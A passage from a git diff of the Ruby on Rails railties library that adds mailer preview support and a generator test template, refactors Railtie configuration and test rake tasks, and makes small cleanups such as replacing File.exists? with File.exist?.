+  module Generators # :nodoc:
+    class GeneratorGenerator < Base # :nodoc:
+      check_class_collision suffix: "GeneratorTest"
+
+      class_option :namespace, type: :boolean, default: true,
+                               desc: "Namespace generator under lib/generators/name"
+
+      def create_generator_files
+        template 'generator_test.rb', File.join('test/lib/generators', class_path, "#{file_name}_generator_test.rb")
+      end
+
+    protected
+
+      def generator_path
+        if options[:namespace]
+          File.join("generators", regular_class_path, file_name, "#{file_name}_generator")
+        else
+          File.join("generators", regular_class_path, "#{file_name}_generator")
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
new file mode 100644
index 0000000..a7f1fc4
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
@@ -0,0 +1,16 @@
+require 'test_helper'
+require '<%= generator_path %>'
+
+<% module_namespacing do -%>
+class <%= class_name %>GeneratorTest < Rails::Generators::TestCase
+  tests <%= class_name %>Generator
+  destination Rails.root.join('tmp/generators')
+  setup :prepare_destination
+
+  # test "generator runs without errors" do
+  #   assert_nothing_raised do
+  #     run_generator ["arguments"]
+  #   end
+  # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
index 3334b18..85dee1a 100644
--- a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
@@ -4,11 +4,18 @@ module TestUnit # :nodoc:
   module Generators # :nodoc:
     class MailerGenerator < Base # :nodoc:
       argument :actions, type: :array, default: [], banner: "method method"
-      check_class_collision suffix: "Test"
+
+      def check_class_collision
+        class_collisions "#{class_name}Test", "#{class_name}Preview"
+      end
 
       def create_test_files
         template "functional_test.rb", File.join('test/mailers', class_path, "#{file_name}_test.rb")
       end
+
+      def create_preview_files
+        template "preview.rb", File.join('test/mailers/previews', class_path, "#{file_name}_preview.rb")
+      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
new file mode 100644
index 0000000..3bfd542
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
@@ -0,0 +1,13 @@
+<% module_namespacing do -%>
+# Preview all emails at http://localhost:3000/rails/mailers/<%= file_path %>
+class <%= class_name %>Preview < ActionMailer::Preview
+<% actions.each do |action| -%>
+
+  # Preview this email at http://localhost:3000/rails/mailers/<%= file_path %>/<%= action %>
+  def <%= action %>
+    <%= class_name %>.<%= action %>
+  end
+<% end -%>
+
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/testing/assertions.rb b/railties/lib/rails/generators/testing/assertions.rb
index 6267b2f..2e877f8 100644
--- a/railties/lib/rails/generators/testing/assertions.rb
+++ b/railties/lib/rails/generators/testing/assertions.rb
@@ -21,8 +21,8 @@ module Rails
         #     end
         #   end
         def assert_file(relative, *contents)
-          absolute = File.expand_path(relative, destination_root)
-          assert File.exists?(absolute), "Expected file #{relative.inspect} to exist, but does not"
+          absolute = File.expand_path(relative, destination_root).shellescape
+          assert File.exist?(absolute), "Expected file #{relative.inspect} to exist, but does not"
 
           read = File.read(absolute) if block_given? || !contents.empty?
           yield read if block_given?
@@ -44,7 +44,7 @@ module Rails
         #   assert_no_file "config/random.rb"
         def assert_no_file(relative)
           absolute = File.expand_path(relative, destination_root)
-          assert !File.exists?(absolute), "Expected file #{relative.inspect} to not exist, but does"
+          assert !File.exist?(absolute), "Expected file #{relative.inspect} to not exist, but does"
         end
         alias :assert_no_directory :assert_no_file
 
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
index f06ce65..edadeac 100644
--- a/railties/lib/rails/info.rb
+++ b/railties/lib/rails/info.rb
@@ -23,7 +23,7 @@ module Rails
       end
 
       def frameworks
-        %w( active_record action_pack action_mailer active_support )
+        %w( active_record action_pack action_view action_mailer active_support )
       end
 
       def framework_version(framework)
@@ -61,8 +61,10 @@ module Rails
       end
     end
 
-    # The Ruby version and platform, e.g. "1.8.2 (powerpc-darwin8.2.0)".
-    property 'Ruby version', "#{RUBY_VERSION} (#{RUBY_PLATFORM})"
+    # The Ruby version and platform, e.g. "2.0.0-p247 (x86_64-darwin12.4.0)".
+    property 'Ruby version' do
+      "#{RUBY_VERSION}-p#{RUBY_PATCHLEVEL} (#{RUBY_PLATFORM})"
+    end
 
     # The RubyGems version, if it's installed.
     property 'RubyGems version' do
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
index fa5668a..908c4ce 100644
--- a/railties/lib/rails/info_controller.rb
+++ b/railties/lib/rails/info_controller.rb
@@ -1,9 +1,9 @@
+require 'rails/application_controller'
 require 'action_dispatch/routing/inspector'
 
-class Rails::InfoController < ActionController::Base # :nodoc:
-  self.view_paths = File.expand_path('../templates', __FILE__)
+class Rails::InfoController < Rails::ApplicationController # :nodoc:
   prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
-  layout -> { request.xhr? ? nil : 'application' }
+  layout -> { request.xhr? ? false : 'application' }
 
   before_filter :require_local!
 
@@ -13,21 +13,11 @@ class Rails::InfoController < ActionController::Base # :nodoc:
 
   def properties
     @info = Rails::Info.to_html
+    @page_title = 'Properties'
   end
 
   def routes
     @routes_inspector = ActionDispatch::Routing::RoutesInspector.new(_routes.routes)
-  end
-
-  protected
-
-  def require_local!
-    unless local_request?
-      render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
-    end
-  end
-
-  def local_request?
-    Rails.application.config.consider_all_requests_local || request.local?
+    @page_title = 'Routes'
   end
 end
diff --git a/railties/lib/rails/mailers_controller.rb b/railties/lib/rails/mailers_controller.rb
new file mode 100644
index 0000000..dd318f5
--- /dev/null
+++ b/railties/lib/rails/mailers_controller.rb
@@ -0,0 +1,73 @@
+require 'rails/application_controller'
+
+class Rails::MailersController < Rails::ApplicationController # :nodoc:
+  prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+
+  before_filter :require_local!
+  before_filter :find_preview, only: :preview
+
+  def index
+    @previews = ActionMailer::Preview.all
+    @page_title = "Mailer Previews"
+  end
+
+  def preview
+    if params[:path] == @preview.preview_name
+      @page_title = "Mailer Previews for #{@preview.preview_name}"
+      render action: 'mailer'
+    else
+      email = File.basename(params[:path])
+
+      if @preview.email_exists?(email)
+        @email = @preview.call(email)
+
+        if params[:part]
+          part_type = Mime::Type.lookup(params[:part])
+
+          if part = find_part(part_type)
+            response.content_type = part_type
+            render text: part.respond_to?(:decoded) ? part.decoded : part
+          else
+            raise AbstractController::ActionNotFound, "Email part '#{part_type}' not found in #{@preview.name}##{email}"
+          end
+        else
+          @part = find_preferred_part(request.format, Mime::HTML, Mime::TEXT)
+          render action: 'email', layout: false, formats: %w[html]
+        end
+      else
+        raise AbstractController::ActionNotFound, "Email '#{email}' not found in #{@preview.name}"
+      end
+    end
+  end
+
+  protected
+    def find_preview
+      candidates = []
+      params[:path].to_s.scan(%r{/|$}){ candidates << $` }
+      preview = candidates.detect{ |candidate| ActionMailer::Preview.exists?(candidate) }
+
+      if preview
+        @preview = ActionMailer::Preview.find(preview)
+      else
+        raise AbstractController::ActionNotFound, "Mailer preview '#{params[:path]}' not found"
+      end
+    end
+
+    def find_preferred_part(*formats)
+      if @email.multipart?
+        formats.each do |format|
+          return find_part(format) if @email.parts.any?{ |p| p.mime_type == format }
+        end
+      else
+        @email
+      end
+    end
+
+    def find_part(format)
+      if @email.multipart?
+        @email.parts.find{ |p| p.mime_type == format }
+      elsif @email.mime_type == format
+        @email
+      end
+    end
+end
\ No newline at end of file
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index de6795e..117bb37 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -24,7 +24,7 @@ module Rails
     #
     # Notice that when you add a path using +add+, the path object created already
     # contains the path with the same path value given to +add+. In some situations,
-    # you may not want this behavior, so you can give :with as option.
+    # you may not want this behavior, so you can give <tt>:with</tt> as option.
     #
     #   root.add "config/routes", with: "config/routes.rb"
     #   root["config/routes"].inspect # => ["config/routes.rb"]
@@ -81,34 +81,28 @@ module Rails
       end
 
       def autoload_once
-        filter_by(:autoload_once?)
+        filter_by { |p| p.autoload_once? }
       end
 
       def eager_load
-        filter_by(:eager_load?)
+        filter_by { |p| p.eager_load? }
       end
 
       def autoload_paths
-        filter_by(:autoload?)
+        filter_by { |p| p.autoload? }
       end
 
       def load_paths
-        filter_by(:load_path?)
+        filter_by { |p| p.load_path? }
       end
 
-    protected
+    private
 
-      def filter_by(constraint)
-        all = []
-        all_paths.each do |path|
-          if path.send(constraint)
-            paths  = path.existent
-            paths -= path.children.map { |p| p.send(constraint) ? [] : p.existent }.flatten
-            all.concat(paths)
-          end
-        end
-        all.uniq!
-        all
+      def filter_by(&block)
+        all_paths.find_all(&block).flat_map { |path|
+          paths = path.existent
+          paths - path.children.map { |p| yield(p) ? [] : p.existent }.flatten
+        }.uniq
       end
     end
 
@@ -130,8 +124,9 @@ module Rails
       end
 
       def children
-        keys = @root.keys.select { |k| k.include?(@current) }
-        keys.delete(@current)
+        keys = @root.keys.find_all { |k|
+          k.start_with?(@current) && k != @current
+        }
         @root.values_at(*keys.sort)
       end
 
@@ -203,7 +198,7 @@ module Rails
 
       # Returns all expanded paths but only if they exist in the filesystem.
       def existent
-        expanded.select { |f| File.exists?(f) }
+        expanded.select { |f| File.exist?(f) }
       end
 
       def existent_directories
diff --git a/railties/lib/rails/rack/debugger.rb b/railties/lib/rails/rack/debugger.rb
index 902361c..f7b77bc 100644
--- a/railties/lib/rails/rack/debugger.rb
+++ b/railties/lib/rails/rack/debugger.rb
@@ -12,8 +12,8 @@ module Rails
         ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings)
         puts "=> Debugger enabled"
       rescue LoadError
-        puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
-        exit
+        puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle it and try again."
+        exit(1)
       end
 
       def call(env)
diff --git a/railties/lib/rails/rack/log_tailer.rb b/railties/lib/rails/rack/log_tailer.rb
index 18f22e8..50d0eb9 100644
--- a/railties/lib/rails/rack/log_tailer.rb
+++ b/railties/lib/rails/rack/log_tailer.rb
@@ -7,7 +7,7 @@ module Rails
         path = Pathname.new(log || "#{::File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
 
         @cursor = @file = nil
-        if ::File.exists?(path)
+        if ::File.exist?(path)
           @cursor = ::File.size(path)
           @file = ::File.open(path, 'r')
         end
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
index 2f62506..3b35798 100644
--- a/railties/lib/rails/rack/logger.rb
+++ b/railties/lib/rails/rack/logger.rb
@@ -38,7 +38,7 @@ module Rails
         resp = @app.call(env)
         resp[2] = ::Rack::BodyProxy.new(resp[2]) { finish(request) }
         resp
-      rescue
+      rescue Exception
         finish(request)
         raise
       ensure
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index 9437e9c..c6c68dd 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -22,7 +22,7 @@ module Rails
   #
   # * creating initializers
   # * configuring a Rails framework for the application, like setting a generator
-  # * +adding config.*+ keys to the environment
+  # * adding <tt>config.*</tt> keys to the environment
   # * setting up a subscriber with ActiveSupport::Notifications
   # * adding rake tasks
   #
@@ -63,8 +63,8 @@ module Rails
   #     end
   #   end
   #
-  # Finally, you can also pass :before and :after as option to initializer, in case
-  # you want to couple it with a specific step in the initialization process.
+  # Finally, you can also pass <tt>:before</tt> and <tt>:after</tt> as option to initializer,
+  # in case you want to couple it with a specific step in the initialization process.
   #
   # == Configuration
   #
@@ -112,7 +112,6 @@ module Rails
   # Be sure to look at the documentation of those specific classes for more information.
   #
   class Railtie
-    autoload :Configurable,  "rails/railtie/configurable"
     autoload :Configuration, "rails/railtie/configuration"
 
     include Initializable
@@ -121,6 +120,7 @@ module Rails
 
     class << self
       private :new
+      delegate :config, to: :instance
 
       def subclasses
         @subclasses ||= []
@@ -128,7 +128,6 @@ module Rails
 
       def inherited(base)
         unless base.abstract_railtie?
-          base.send(:include, Railtie::Configurable)
           subclasses << base
         end
       end
@@ -166,14 +165,51 @@ module Rails
         @railtie_name ||= generate_railtie_name(self.name)
       end
 
+      # Since Rails::Railtie cannot be instantiated, any methods that call
+      # +instance+ are intended to be called only on subclasses of a Railtie.
+      def instance
+        @instance ||= new
+      end
+
+      def respond_to_missing?(*args)
+        instance.respond_to?(*args) || super
+      end
+
+      # Allows you to configure the railtie. This is the same method seen in
+      # Railtie::Configurable, but this module is no longer required for all
+      # subclasses of Railtie so we provide the class method here.
+      def configure(&block)
+        instance.configure(&block)
+      end
+
       protected
         def generate_railtie_name(class_or_module)
           ActiveSupport::Inflector.underscore(class_or_module).tr("/", "_")
         end
+
+        # If the class method does not have a method, then send the method call
+        # to the Railtie instance.
+        def method_missing(name, *args, &block)
+          if instance.respond_to?(name)
+            instance.public_send(name, *args, &block)
+          else
+            super
+          end
+        end
     end
 
     delegate :railtie_name, to: :class
 
+    def initialize
+      if self.class.abstract_railtie?
+        raise "#{self.class.name} is abstract, you cannot instantiate it directly."
+      end
+    end
+
+    def configure(&block)
+      instance_eval(&block)
+    end
+
     def config
       @config ||= Railtie::Configuration.new
     end
@@ -185,26 +221,28 @@ module Rails
     protected
 
     def run_console_blocks(app) #:nodoc:
-      self.class.console.each { |block| block.call(app) }
+      each_registered_block(:console) { |block| block.call(app) }
     end
 
     def run_generators_blocks(app) #:nodoc:
-      self.class.generators.each { |block| block.call(app) }
+      each_registered_block(:generators) { |block| block.call(app) }
     end
 
     def run_runner_blocks(app) #:nodoc:
-      self.class.runner.each { |block| block.call(app) }
+      each_registered_block(:runner) { |block| block.call(app) }
     end
 
     def run_tasks_blocks(app) #:nodoc:
       extend Rake::DSL
-      self.class.rake_tasks.each { |block| instance_exec(app, &block) }
+      each_registered_block(:rake_tasks) { |block| instance_exec(app, &block) }
+    end
 
-      # Load also tasks from all superclasses
-      klass = self.class.superclass
+    private
 
-      while klass.respond_to?(:rake_tasks)
-        klass.rake_tasks.each { |t| instance_exec(app, &t) }
+    def each_registered_block(type, &block)
+      klass = self.class
+      while klass.respond_to?(type)
+        klass.public_send(type).each(&block)
         klass = klass.superclass
       end
     end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
index 0cbbf04..eb3b2d8 100644
--- a/railties/lib/rails/railtie/configuration.rb
+++ b/railties/lib/rails/railtie/configuration.rb
@@ -80,7 +80,7 @@ module Rails
         to_prepare_blocks << blk if blk
       end
 
-      def respond_to?(name)
+      def respond_to?(name, include_private = false)
         super || @@options.key?(name.to_sym)
       end
 
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
index 2cbb0a4..3cf6a00 100644
--- a/railties/lib/rails/source_annotation_extractor.rb
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -67,7 +67,7 @@ class SourceAnnotationExtractor
   # Returns a hash that maps filenames under +dir+ (recursively) to arrays
   # with their annotations. Only files with annotations are included. Files
   # with extension +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+,
-  # +.scss+, +.js+, +.coffee+, and +.rake+
+  # +.scss+, +.js+, +.coffee+, +.rake+, +.sass+ and +.less+
   # are taken into account.
   def find_in(dir)
     results = {}
@@ -82,7 +82,7 @@ class SourceAnnotationExtractor
             case item
             when /\.(builder|rb|coffee|rake)$/
               /#\s*(#{tag}):?\s*(.*)$/
-            when /\.(css|scss|js)$/
+            when /\.(css|scss|sass|less|js)$/
               /\/\/\s*(#{tag}):?\s*(.*)$/
             when /\.erb$/
               /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/
diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb
index 142af2d..af5f270 100644
--- a/railties/lib/rails/tasks.rb
+++ b/railties/lib/rails/tasks.rb
@@ -1,5 +1,3 @@
-$VERBOSE = nil
-
 # Load Rails Rakefile extensions
 %w(
   annotations
diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake
index d45e892..8544890 100644
--- a/railties/lib/rails/tasks/documentation.rake
+++ b/railties/lib/rails/tasks/documentation.rake
@@ -44,11 +44,6 @@ else
   end
 
   namespace :doc do
-    def gem_path(gem_name)
-      path = $LOAD_PATH.grep(/#{gem_name}[\w.-]*\/lib$/).first
-      yield File.dirname(path) if path
-    end
-
     RDocTaskWithoutDescriptions.new("app") { |rdoc|
       rdoc.rdoc_dir = 'doc/app'
       rdoc.template = ENV['template'] if ENV['template']
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
index 70370be..16ad1bf 100644
--- a/railties/lib/rails/tasks/engine.rake
+++ b/railties/lib/rails/tasks/engine.rake
@@ -26,7 +26,7 @@ namespace :db do
   desc "Display status of migrations"
   app_task "migrate:status"
 
-  desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+  desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all databases in the config)'
   app_task "create"
   app_task "create:all"
 
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
index 76a9530..244fcb2 100644
--- a/railties/lib/rails/tasks/framework.rake
+++ b/railties/lib/rails/tasks/framework.rake
@@ -1,6 +1,6 @@
 namespace :rails do
-  desc "Update configs and some other initially generated files (or use just update:configs, update:bin, or update:application_controller)"
-  task update: [ "update:configs", "update:bin", "update:application_controller" ]
+  desc "Update configs and some other initially generated files (or use just update:configs or update:bin)"
+  task update: [ "update:configs", "update:bin" ]
 
   desc "Applies the template supplied by LOCATION=(/path/to/template) or URL"
   task :template do
@@ -46,7 +46,7 @@ namespace :rails do
         require 'rails/generators/rails/app/app_generator'
         gen = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
                                                              destination_root: Rails.root
-        File.exists?(Rails.root.join("config", "application.rb")) ?
+        File.exist?(Rails.root.join("config", "application.rb")) ?
           gen.send(:app_const) : gen.send(:valid_const?)
         gen
       end
@@ -55,22 +55,12 @@ namespace :rails do
     # desc "Update config/boot.rb from your current rails install"
     task :configs do
       invoke_from_app_generator :create_boot_file
-      invoke_from_app_generator :create_config_files
+      invoke_from_app_generator :update_config_files
     end
 
     # desc "Adds new executables to the application bin/ directory"
     task :bin do
       invoke_from_app_generator :create_bin_files
     end
-
-    # desc "Rename application.rb to application_controller.rb"
-    task :application_controller do
-      old_style = Rails.root + '/app/controllers/application.rb'
-      new_style = Rails.root + '/app/controllers/application_controller.rb'
-      if File.exists?(old_style) && !File.exists?(new_style)
-        FileUtils.mv(old_style, new_style)
-        puts "#{old_style} has been renamed to #{new_style}, update your SCM as necessary"
-      end
-    end
   end
 end
diff --git a/railties/lib/rails/tasks/log.rake b/railties/lib/rails/tasks/log.rake
index 6c3f02e..877f175 100644
--- a/railties/lib/rails/tasks/log.rake
+++ b/railties/lib/rails/tasks/log.rake
@@ -10,7 +10,7 @@ namespace :log do
     if ENV['LOGS']
       ENV['LOGS'].split(',')
                   .map    { |file| "log/#{file.strip}.log" }
-                  .select { |file| File.exists?(file) }
+                  .select { |file| File.exist?(file) }
     else
       FileList["log/*.log"]
     end
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
index 7352d48..5aecaa7 100644
--- a/railties/lib/rails/templates/layouts/application.html.erb
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -2,7 +2,7 @@
 <html lang="en">
 <head>
   <meta charset="utf-8" />
-  <title>Routes</title>
+  <title><%= @page_title %></title>
   <style>
     body { background-color: #fff; color: #333; }
 
@@ -29,7 +29,7 @@
   </style>
 </head>
 <body>
-<h2>Your App: <%= link_to 'properties', '/rails/info/properties' %> | <%= link_to 'routes', '/rails/info/routes' %></h2>
+
 <%= yield %>
 
 </body>
diff --git a/railties/lib/rails/templates/rails/mailers/email.html.erb b/railties/lib/rails/templates/rails/mailers/email.html.erb
new file mode 100644
index 0000000..977feb9
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/email.html.erb
@@ -0,0 +1,98 @@
+<!DOCTYPE html>
+<html><head>
+<meta name="viewport" content="width=device-width" />
+<style type="text/css">
+  header {
+    width: 100%;
+    padding: 10px 0 0 0;
+    margin: 0;
+    background: white;
+    font: 12px "Lucida Grande", sans-serif;
+    border-bottom: 1px solid #dedede;
+    overflow: hidden;
+  }
+
+  dl {
+    margin: 0 0 10px 0;
+    padding: 0;
+  }
+
+  dt {
+    width: 80px;
+    padding: 1px;
+    float: left;
+    clear: left;
+    text-align: right;
+    color: #7f7f7f;
+  }
+
+  dd {
+    margin-left: 90px; /* 80px + 10px */
+    padding: 1px;
+  }
+
+  iframe {
+    border: 0;
+    width: 100%;
+    height: 800px;
+  }
+</style>
+</head>
+
+<body>
+<header>
+  <dl>
+    <% if @email.respond_to?(:smtp_envelope_from) && Array(@email.from) != Array(@email.smtp_envelope_from) %>
+      <dt>SMTP-From:</dt>
+      <dd><%= @email.smtp_envelope_from %></dd>
+    <% end %>
+
+    <% if @email.respond_to?(:smtp_envelope_to) && @email.to != @email.smtp_envelope_to %>
+      <dt>SMTP-To:</dt>
+      <dd><%= @email.smtp_envelope_to %></dd>
+    <% end %>
+
+    <dt>From:</dt>
+    <dd><%= @email.header['from'] %></dd>
+
+    <% if @email.reply_to %>
+      <dt>Reply-To:</dt>
+      <dd><%= @email.header['reply-to'] %></dd>
+    <% end %>
+
+    <dt>To:</dt>
+    <dd><%= @email.header['to'] %></dd>
+
+    <% if @email.cc %>
+      <dt>CC:</dt>
+      <dd><%= @email.header['cc'] %></dd>
+    <% end %>
+
+    <dt>Date:</dt>
+    <dd><%= Time.current.rfc2822 %></dd>
+
+    <dt>Subject:</dt>
+    <dd><strong><%= @email.subject %></strong></dd>
+
+    <% unless @email.attachments.nil? || @email.attachments.empty? %>
+      <dt>Attachments:</dt>
+      <dd>
+        <%= @email.attachments.map { |a| a.respond_to?(:original_filename) ? a.original_filename : a.filename }.inspect %>
+      </dd>
+    <% end %>
+
+    <% if @email.multipart? %>
+      <dd>
+        <select onchange="document.getElementsByName('messageBody')[0].src=this.options[this.selectedIndex].value;">
+          <option <%= request.format == Mime::HTML ? 'selected' : '' %> value="?part=text%2Fhtml">View as HTML email</option>
+          <option <%= request.format == Mime::TEXT ? 'selected' : '' %> value="?part=text%2Fplain">View as plain-text email</option>
+        </select>
+      </dd>
+    <% end %>
+  </dl>
+</header>
+
+<iframe seamless name="messageBody" src="?part=<%= Rack::Utils.escape(@part.mime_type) %>"></iframe>
+
+</body>
+</html>
\ No newline at end of file
diff --git a/railties/lib/rails/templates/rails/mailers/index.html.erb b/railties/lib/rails/templates/rails/mailers/index.html.erb
new file mode 100644
index 0000000..c4c9757
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/index.html.erb
@@ -0,0 +1,8 @@
+<% @previews.each do |preview| %>
+<h3><%= link_to preview.preview_name.titleize, "/rails/mailers/#{preview.preview_name}" %></h3>
+<ul>
+<% preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
+<% end %>
diff --git a/railties/lib/rails/templates/rails/mailers/mailer.html.erb b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
new file mode 100644
index 0000000..607c8d1
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
@@ -0,0 +1,6 @@
+<h3><%= @preview.preview_name.titleize %></h3>
+<ul>
+<% @preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{@preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index 739e4ad..c837fad 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -4,14 +4,20 @@ abort("Abort testing: Your Rails environment is running in production mode!") if
 
 require 'active_support/testing/autorun'
 require 'active_support/test_case'
+require 'action_controller'
 require 'action_controller/test_case'
 require 'action_dispatch/testing/integration'
+require 'rails/generators/test_case'
 
 # Config Rails backtrace in tests.
 require 'rails/backtrace_cleaner'
-MiniTest.backtrace_filter = Rails.backtrace_cleaner
+if ENV["BACKTRACE"].nil?
+  Minitest.backtrace_filter = Rails.backtrace_cleaner
+end
 
 if defined?(ActiveRecord::Base)
+  ActiveRecord::Migration.maintain_test_schema!
+
   class ActiveSupport::TestCase
     include ActiveRecord::TestFixtures
     self.fixture_path = "#{Rails.root}/test/fixtures/"
diff --git a/railties/lib/rails/test_unit/sub_test_task.rb b/railties/lib/rails/test_unit/sub_test_task.rb
index a463380..d9bffba 100644
--- a/railties/lib/rails/test_unit/sub_test_task.rb
+++ b/railties/lib/rails/test_unit/sub_test_task.rb
@@ -2,13 +2,53 @@ require 'rake/testtask'
 
 module Rails
   class TestTask < Rake::TestTask # :nodoc: all
+    # A utility class which is used primarily in "rails/test_unit/testing.rake"
+    # to help define rake tasks corresponding to <tt>rake test</tt>.
+    #
+    # This class takes a TestInfo class and defines the appropriate rake task
+    # based on the information, then invokes it.
+    class TestCreator
+      def initialize(info)
+        @info = info
+      end
+
+      def invoke_rake_task
+        if @info.files.any?
+          create_and_run_single_test
+          reset_application_tasks
+        else
+          Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
+        end
+      end
+
+      private
+
+        def create_and_run_single_test
+          Rails::TestTask.new('test:single') { |t|
+            t.test_files = @info.files
+          }
+          ENV['TESTOPTS'] ||= @info.opts
+          Rake::Task['test:single'].invoke
+        end
+
+        def reset_application_tasks
+          Rake.application.top_level_tasks.replace @info.tasks
+        end
+    end
+
+    # This is a utility class used by the <tt>TestTask::TestCreator</tt> class.
+    # This class takes a set of test tasks and checks to see if they correspond
+    # to test files (or can be transformed into test files). Calling <tt>files</tt>
+    # provides the set of test files and is used when initializing tests after
+    # a call to <tt>rake test</tt>.
     class TestInfo
       def initialize(tasks)
         @tasks = tasks
+        @files = nil
       end
 
       def files
-        @tasks.map { |task|
+        @files ||= @tasks.map { |task|
           [task, translate(task)].find { |file| test_file?(file) }
         }.compact
       end
@@ -53,8 +93,9 @@ module Rails
       end
     end
 
-    def self.test_info(tasks)
-      TestInfo.new tasks
+    def self.test_creator(tasks)
+      info = TestInfo.new(tasks)
+      TestCreator.new(info)
     end
 
     def initialize(name = :test)
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index 877dd6d..285e2ce 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -1,65 +1,11 @@
-require 'rbconfig'
 require 'rake/testtask'
 require 'rails/test_unit/sub_test_task'
-require 'active_support/deprecation'
-
-TEST_CHANGES_SINCE = Time.now - 600
-
-# Look up tests for recently modified sources.
-def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
-  FileList[source_pattern].map do |path|
-    if File.mtime(path) > touched_since
-      tests = []
-      source_dir = File.dirname(path).split("/")
-      source_file = File.basename(path, '.rb')
-
-      # Support subdirs in app/models and app/controllers
-      modified_test_path = source_dir.length > 2 ? "#{test_path}/" << source_dir[1..source_dir.length].join('/') : test_path
-
-      # For modified files in app/ run the tests for it. ex. /test/controllers/account_controller.rb
-      test = "#{modified_test_path}/#{source_file}_test.rb"
-      tests.push test if File.exist?(test)
-
-      # For modified files in app, run tests in subdirs too. ex. /test/controllers/account/*_test.rb
-      test = "#{modified_test_path}/#{File.basename(path, '.rb').sub("_controller","")}"
-      FileList["#{test}/*_test.rb"].each { |f| tests.push f } if File.exist?(test)
-
-      return tests
-
-    end
-  end.flatten.compact
-end
-
-
-# Recreated here from Active Support because :uncommitted needs it before Rails is available
-module Kernel
-  remove_method :silence_stderr # Removing old method to prevent method redefined warning
-  def silence_stderr
-    old_stderr = STDERR.dup
-    STDERR.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
-    STDERR.sync = true
-    yield
-  ensure
-    STDERR.reopen(old_stderr)
-  end
-end
 
 task default: :test
 
-desc 'Runs test:units, test:functionals, test:integration together'
+desc 'Runs test:units, test:functionals, test:generators, test:integration together'
 task :test do
-  info = Rails::TestTask.test_info Rake.application.top_level_tasks
-  if info.files.any?
-    Rails::TestTask.new('test:single') { |t|
-      t.test_files = info.files
-    }
-    ENV['TESTOPTS'] ||= info.opts
-    Rake.application.top_level_tasks.replace info.tasks
-
-    Rake::Task['test:single'].invoke
-  else
-    Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
-  end
+  Rails::TestTask.test_creator(Rake.application.top_level_tasks).invoke_rake_task
 end
 
 namespace :test do
@@ -67,7 +13,7 @@ namespace :test do
     # Placeholder task for other Railtie and plugins to enhance. See Active Record for an example.
   end
 
-  task :run => ['test:units', 'test:functionals', 'test:integration']
+  task :run => ['test:units', 'test:functionals', 'test:generators', 'test:integration']
 
   # Inspired by: http://ngauthier.com/2012/02/quick-tests-with-bash.html
   desc "Run tests quickly by merging all types and not resetting db"
@@ -80,72 +26,23 @@ namespace :test do
     task :db => %w[db:test:prepare test:all]
   end
 
-  # Display deprecation message
-  task :deprecated do
-    ActiveSupport::Deprecation.warn "`rake #{ARGV.first}` is deprecated with no replacement."
-  end
-
